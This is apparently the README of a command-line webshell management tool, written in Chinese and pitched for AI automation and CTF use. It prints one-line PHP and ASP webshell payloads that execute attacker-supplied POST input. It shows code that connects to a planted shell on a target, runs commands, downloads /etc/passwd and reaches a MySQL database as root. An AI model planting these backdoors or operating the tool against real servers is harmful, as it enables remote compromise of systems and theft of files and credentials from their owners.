命令行WebShell管理工具,专为AI自动化和CTF设计。
- 命令行优先 - 适合AI自动化操作
- 多类型支持 - PHP/JSP/ASP WebShell
- 完整功能 - 文件操作、数据库、系统信息
- 生产级代码 - 类型注解、异常处理、资源管理
pip install -r requirements.txtpython run.pyfrom webshell import WebShellManager
manager = WebShellManager()
manager.connect('target', 'http://example.com/shell.php', 'password', 'php-eval')
shell = manager.get_shell('target')
success, result = shell.execute('whoami')
print(result)php-eval:<?php eval($_POST['pass']);?>php-assert:<?php assert($_POST['pass']);?>php-system:<?php system($_POST['pass']);?>
asp:<%execute(request("cmd"))%>
jsp: 标准JSP一句话木马
# 连接
manager.connect('shell1', 'http://target.com/shell.php', 'pass', 'php-eval')
# 文件操作
from operations import FileOperations
file_ops = FileOperations(shell)
file_ops.download('/etc/passwd', 'local.txt')
# 数据库操作
from database import DatabaseManager
db_mgr = DatabaseManager(shell)
db_mgr.add_mysql('mydb', 'localhost', 3306, 'root', 'password')创建 config.yaml:
timeout: 10
proxy: http://127.0.0.1:8080
log_level: INFOminna/
├── webshell.py # WebShell核心模块
├── operations.py # 文件和系统操作
├── database.py # 数据库操作
├── config.py # 配置管理
├── logger.py # 日志系统
├── cli.py # 命令行界面
├── main.py # 主入口
└── run.py # 启动脚本
MIT License